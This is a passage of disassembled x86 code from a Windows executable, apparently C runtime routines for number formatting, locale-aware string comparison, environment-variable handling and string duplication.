		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41FDA0:				; CODE XREF: sub_41FBA6+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41FDC1
; ---------------------------------------------------------------------------


loc_41FDA6:				; CODE XREF: sub_41FBA6+42j
					; sub_41FBA6+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41FDC1:				; CODE XREF: sub_41FBA6+ABj
					; sub_41FBA6+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDC6	proc near		; CODE XREF: sub_41F31F+440p
					; sub_41F7F0+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43BF50
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41FE3F
		jge	short loc_41FDEE
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43C0B0
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41FDEE:				; CODE XREF: sub_41FDC6+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41FDF9
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41FDF9:				; CODE XREF: sub_41FDC6+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_41FE3F
		push	esi
		push	edi


loc_41FE00:				; CODE XREF: sub_41FDC6+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_41FE38
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_41FE2B
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41FE2B:				; CODE XREF: sub_41FDC6+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41FBA6
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41FE38:				; CODE XREF: sub_41FDC6+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41FE00
		pop	edi
		pop	esi


loc_41FE3F:				; CODE XREF: sub_41FDC6+14j
					; sub_41FDC6+36j
		pop	ebx
		leave
		retn
sub_41FDC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FE42	proc near		; CODE XREF: sub_41FA83+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421AA0
		push	offset sub_41D304
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_515B40, ebx
		push	1
		pop	edi
		jnz	short loc_41FEB5
		push	edi
		mov	eax, offset dword_4216A0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 7C80A35Eh
		test	eax, eax
		jz	short loc_41FE92
		mov	dword_515B40, edi
		jmp	short loc_41FEB5
; ---------------------------------------------------------------------------


loc_41FE92:				; CODE XREF: sub_41FE42+46j
		push	edi
		mov	eax, offset dword_441700
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		nop
		call	near ptr 7C80D077h
		test	eax, eax
		jz	loc_4200AB
		mov	dword_515B40, 2


loc_41FEB5:				; CODE XREF: sub_41FE42+31j
					; sub_41FE42+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41FECC
		push	esi
		push	[ebp+arg_8]
		call	sub_4200BF
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41FECC:				; CODE XREF: sub_41FE42+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41FEE1
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_4200BF
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41FEE1:				; CODE XREF: sub_41FE42+8Dj
		mov	eax, dword_515B40
		cmp	eax, 2
		jnz	short loc_41FF06
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80D077h
		jmp	loc_4200AD
; ---------------------------------------------------------------------------


loc_41FF06:				; CODE XREF: sub_41FE42+A7j
		cmp	eax, edi
		jnz	loc_4200AB
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41FF1B
		mov	eax, dword_5158FC
		mov	[ebp+arg_18], eax


loc_41FF1B:				; CODE XREF: sub_41FE42+CFj
		cmp	esi, ebx
		jz	short loc_41FF28
		cmp	[ebp+arg_14], ebx
		jnz	loc_41FFC0


loc_41FF28:				; CODE XREF: sub_41FE42+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41FF35


loc_41FF2D:				; CODE XREF: sub_41FE42+13Cj
					; sub_41FE42+16Dj
		push	2


loc_41FF2F:				; CODE XREF: sub_41FE42+146j
		pop	eax
		jmp	loc_4200AD
; ---------------------------------------------------------------------------


loc_41FF35:				; CODE XREF: sub_41FE42+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41FF41


loc_41FF3A:				; CODE XREF: sub_41FE42+151j
					; sub_41FE42+159j ...
		mov	eax, edi
		jmp	loc_4200AD
; ---------------------------------------------------------------------------


loc_41FF41:				; CODE XREF: sub_41FE42+F6j
		cmp	esi, edi
		jg	short loc_41FF86
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 7C812E76h
		test	eax, eax
		jz	loc_4200AB
		cmp	esi, ebx
		jle	short loc_41FF8A
		cmp	[ebp+var_3C], 2
		jb	short loc_41FF86
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41FF86


loc_41FF6C:				; CODE XREF: sub_41FE42+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41FF86
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41FF80
		cmp	cl, dl
		jbe	short loc_41FF2D


loc_41FF80:				; CODE XREF: sub_41FE42+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41FF6C


loc_41FF86:				; CODE XREF: sub_41FE42+101j
					; sub_41FE42+120j ...
		push	3
		jmp	short loc_41FF2F
; ---------------------------------------------------------------------------


loc_41FF8A:				; CODE XREF: sub_41FE42+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41FFC0
		cmp	[ebp+var_3C], 2
		jb	short loc_41FF3A
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41FF3A


loc_41FF9D:				; CODE XREF: sub_41FE42+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41FF3A
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41FFB5
		cmp	cl, dl
		jbe	loc_41FF2D


loc_41FFB5:				; CODE XREF: sub_41FE42+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41FF9D
		jmp	loc_41FF3A
; ---------------------------------------------------------------------------


loc_41FFC0:				; CODE XREF: sub_41FE42+E0j
					; sub_41FE42+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_4200AB
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42000F
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_42000F:				; CODE XREF: sub_41FE42+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_4200AB
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_421074
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_4200AB
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_4200AB
		mov	[ebp+var_4], edi


loc_42004D:				; DATA XREF: ___:00425F80o
					; ___:00425F8Co
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B70
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42007A
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_42007A:				; CODE XREF: sub_41FE42+224j
		cmp	edi, ebx
		jz	short loc_4200AB
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 7C809BF8h
		test	eax, eax
		jz	short loc_4200AB
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 7C80A35Eh
		jmp	short loc_4200AD
; ---------------------------------------------------------------------------


loc_4200AB:				; CODE XREF: sub_41FE42+63j
					; sub_41FE42+C6j ...
		xor	eax, eax


loc_4200AD:				; CODE XREF: sub_41FE42+BFj
					; sub_41FE42+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FE42	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41BC2B+81p
					; sub_41FE42+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4200DC


loc_4200CF:				; CODE XREF: sub_4200BF+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4200DC
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_4200CF


loc_4200DC:				; CODE XREF: sub_4200BF+Ej
					; sub_4200BF+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4200E7
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4200E7:				; CODE XREF: sub_4200BF+21j
		mov	eax, edx
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200EA	proc near		; CODE XREF: sub_41FAC2+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_42014E
		push	3Dh
		push	[ebp+arg_0]
		call	sub_420330
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_42014E
		cmp	[ebp+arg_0], esi
		jz	short loc_42014E
		mov	eax, dword_5158AC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_5158B0
		jnz	short loc_420134
		push	eax
		call	sub_4202C9
		pop	ecx
		mov	dword_5158AC, eax


loc_420134:				; CODE XREF: sub_4200EA+3Cj
		cmp	eax, edi
		jnz	short loc_42018C
		cmp	[ebp+arg_4], edi
		jz	short loc_420156
		cmp	dword_5158B4, edi
		jz	short loc_420156
		call	sub_41FAC2
		test	eax, eax
		jz	short loc_42018C


loc_42014E:				; CODE XREF: sub_4200EA+Dj
					; sub_4200EA+22j ...
		or	eax, 0FFFFFFFFh


loc_420151:				; CODE XREF: sub_4200EA+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_420156:				; CODE XREF: sub_4200EA+51j
					; sub_4200EA+59j
		cmp	ebx, edi
		jnz	loc_42026A
		push	4
		call	sub_417BEE
		cmp	eax, edi
		pop	ecx
		mov	dword_5158AC, eax
		jz	short loc_42014E
		mov	[eax], edi
		cmp	dword_5158B4, edi
		jnz	short loc_42018C
		push	4
		call	sub_417BEE
		cmp	eax, edi
		pop	ecx
		mov	dword_5158B4, eax
		jz	short loc_42014E
		mov	[eax], edi


loc_42018C:				; CODE XREF: sub_4200EA+4Cj
					; sub_4200EA+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_5158AC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_420271
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4201EC
		cmp	dword ptr [edi], 0
		jz	short loc_4201EC
		test	ebx, ebx
		jz	short loc_4201E4
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417C62
		pop	ecx


loc_4201BE:				; CODE XREF: sub_4200EA+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_4201CE
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_4201BE
; ---------------------------------------------------------------------------


loc_4201CE:				; CODE XREF: sub_4200EA+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_418C3F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42021E
		jmp	short loc_420219
; ---------------------------------------------------------------------------


loc_4201E4:				; CODE XREF: sub_4200EA+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_42021E
; ---------------------------------------------------------------------------


loc_4201EC:				; CODE XREF: sub_4200EA+BDj
					; sub_4200EA+C2j
		test	ebx, ebx
		jnz	short loc_42026A
		test	esi, esi
		jge	short loc_4201F6
		neg	esi


loc_4201F6:				; CODE XREF: sub_4200EA+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_418C3F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42014E
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_420219:				; CODE XREF: sub_4200EA+F8j
		mov	dword_5158AC, eax


loc_42021E:				; CODE XREF: sub_4200EA+F6j
					; sub_4200EA+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42026A
		push	[ebp+arg_0]
		call	sub_417AF0
		inc	eax
		inc	eax
		push	eax
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42026A
		push	[ebp+arg_0]
		push	esi
		call	sub_417A00
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 7C833478h
		push	esi
		call	sub_417C62
		pop	ecx


loc_42026A:				; CODE XREF: sub_4200EA+6Ej
					; sub_4200EA+104j ...
		xor	eax, eax
		jmp	loc_420151
sub_4200EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_420271	proc near		; CODE XREF: sub_4200EA+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_5158AC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4202AC
		mov	edi, [esp+8+arg_4]


loc_420283:				; CODE XREF: sub_420271+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41FA83
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4202A2
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_4202BC
		test	al, al
		jz	short loc_4202BC


loc_4202A2:				; CODE XREF: sub_420271+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_420283


loc_4202AC:				; CODE XREF: sub_420271+Cj
		mov	eax, esi
		sub	eax, dword_5158AC
		sar	eax, 2
		neg	eax


loc_4202B9:				; CODE XREF: sub_420271+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4202BC:				; CODE XREF: sub_420271+2Bj
					; sub_420271+2Fj
		mov	eax, esi
		sub	eax, dword_5158AC
		sar	eax, 2
		jmp	short loc_4202B9
sub_420271	endp


; =============== S U B	R O U T	I N E =======================================



sub_4202C9	proc near		; CODE XREF: sub_4200EA+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_4202D8
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4202D8:				; CODE XREF: sub_4202C9+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4202EA


loc_4202E0:				; CODE XREF: sub_4202C9+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4202E0


loc_4202EA:				; CODE XREF: sub_4202C9+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_417BEE
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_42030B
		push	9
		call	sub_4191E5
		pop	ecx


loc_42030B:				; CODE XREF: sub_4202C9+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_42030F:				; CODE XREF: sub_4202C9+5Bj
		test	eax, eax
		jz	short loc_420326
		push	eax
		add	ebx, 4
		call	sub_4203A3
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_42030F
; ---------------------------------------------------------------------------


loc_420326:				; CODE XREF: sub_4202C9+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_4202C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420330	proc near		; CODE XREF: sub_4200EA+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_516C9C, 0
		jnz	short loc_42034B
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418630
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42034B:				; CODE XREF: sub_420330+Aj
		mov	ecx, [ebp+arg_0]


loc_42034E:				; CODE XREF: sub_420330+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_420391
		movzx	edx, al
		test	byte_516DA1[edx], 4
		jz	short loc_42037D
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_420388
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42038C
		jmp	short loc_420385
; ---------------------------------------------------------------------------


loc_42037D:				; CODE XREF: sub_420330+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_420391


loc_420385:				; CODE XREF: sub_420330+4Bj
		inc	ecx
		jmp	short loc_42034E
; ---------------------------------------------------------------------------


loc_420388:				; CODE XREF: sub_420330+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42038C:				; CODE XREF: sub_420330+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420391:				; CODE XREF: sub_420330+25j
					; sub_420330+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_420330	endp


; =============== S U B	R O U T	I N E =======================================



sub_4203A3	proc near		; CODE XREF: sub_40A74C+21p
					; sub_4202C9+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4203CA
		push	esi
		call	sub_417AF0
		inc	eax
		push	eax
		call	sub_417BEE
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4203CA
		push	esi
		push	eax
		call	sub_417A00
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4203CA:				; CODE XREF: sub_4203A3+7j
					; sub_4203A3+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_4203A3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203D0	proc near		; CODE XREF: sub_405350+159p
		nop
		jmp	near ptr 71AB4544h
sub_4203D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203D6	proc near		; CODE XREF: ___:0040C171p
		nop
		jmp	near ptr 77C018BAh
sub_4203D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203DC	proc near		; CODE XREF: ___:0040C15Ap
		nop
		jmp	near ptr 77C01A50h
sub_4203DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203E2	proc near		; CODE XREF: sub_40C127+Fp
		nop
		jmp	near ptr 77C019FFh
sub_4203E2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4203E8	proc near		; CODE XREF: sub_41D20C+13p
		nop
		jmp	near ptr 7C937A40h
sub_4203E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4203F0	proc near		; CODE XREF: sub_404D78+18Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_5158E4
		cmp	dword ptr [eax+8], 0
		jnz	short loc_420443
		mov	al, 0FFh
		mov	edi, edi


loc_42040C:				; CODE XREF: sub_4203F0+28j
					; sub_4203F0+48j
		or	al, al
		jz	short loc_42043E
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_42040C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_42040C
		sbb	al, al
		sbb	al, 0FFh


loc_42043E:				; CODE XREF: sub_4203F0+1Ej
		movsx	eax, al
		jmp	short loc_420477
; ---------------------------------------------------------------------------


loc_420443:				; CODE XREF: sub_4203F0+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_42044C:				; CODE XREF: sub_4203F0+68j
					; sub_4203F0+80j
		or	al, al
		jz	short loc_420477
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_42044C
		push	eax
		push	ebx
		call	sub_4187E1
		mov	ebx, eax
		add	esp, 4
		call	sub_4187E1
		add	esp, 4
		cmp	bl, al
		jz	short loc_42044C
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_420477:				; CODE XREF: sub_4203F0+51j
					; sub_4203F0+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_4203F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_42047C	proc near		; CODE XREF: sub_409307+E2p
					; sub_409307+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_5158EC, 0
		push	ebx
		jnz	short loc_4204C2
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_42048E:				; CODE XREF: sub_42047C+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_4204A0
		cmp	bx, 41h
		jb	short loc_4204A0
		add	ebx, 20h


loc_4204A0:				; CODE XREF: sub_42047C+19j
					; sub_42047C+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_4204B2
		cmp	ax, 41h
		jb	short loc_4204B2
		add	eax, 20h


loc_4204B2:				; CODE XREF: sub_42047C+2Bj
					; sub_42047C+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4204F2
		cmp	bx, ax
		jz	short loc_42048E
		jmp	short loc_4204F2
; ---------------------------------------------------------------------------


loc_4204C2:				; CODE XREF: sub_42047C+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4204CC:				; CODE XREF: sub_42047C+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_420585
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_420585
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4204F0
		cmp	bx, ax
		jz	short loc_4204CC


loc_4204F0:				; CODE XREF: sub_42047C+6Dj
		pop	edi
		pop	esi


loc_4204F2:				; CODE XREF: sub_42047C+3Dj
					; sub_42047C+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_42047C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204FC	proc near		; CODE XREF: ___:004161A4p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_420511
		cmp	[ebp+arg_0], 0
		jge	short loc_420511
		push	1
		push	0Ah
		jmp	short loc_420516
; ---------------------------------------------------------------------------


loc_420511:				; CODE XREF: sub_4204FC+7j
					; sub_4204FC+Dj
		push	0
		push	[ebp+arg_8]


loc_420516:				; CODE XREF: sub_4204FC+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_420529
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_4204FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420529	proc near		; CODE XREF: sub_4204FC+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_420543
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_420546
; ---------------------------------------------------------------------------


loc_420543:				; CODE XREF: sub_420529+Dj
		mov	esi, [ebp+arg_0]


loc_420546:				; CODE XREF: sub_420529+18j
		mov	edi, ecx


loc_420548:				; CODE XREF: sub_420529+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_420564
		add	bl, 57h
		jmp	short loc_420567
; ---------------------------------------------------------------------------


loc_420564:				; CODE XREF: sub_420529+34j
		add	bl, 30h


loc_420567:				; CODE XREF: sub_420529+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_420548
		and	byte ptr [ecx],	0
		dec	ecx


loc_420572:				; CODE XREF: sub_420529+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_420572
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420529	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420585	proc near		; CODE XREF: sub_42047C+56p
					; sub_42047C+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_420597
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_420597:				; CODE XREF: sub_420585+Bj
		cmp	dword_5158EC, 0
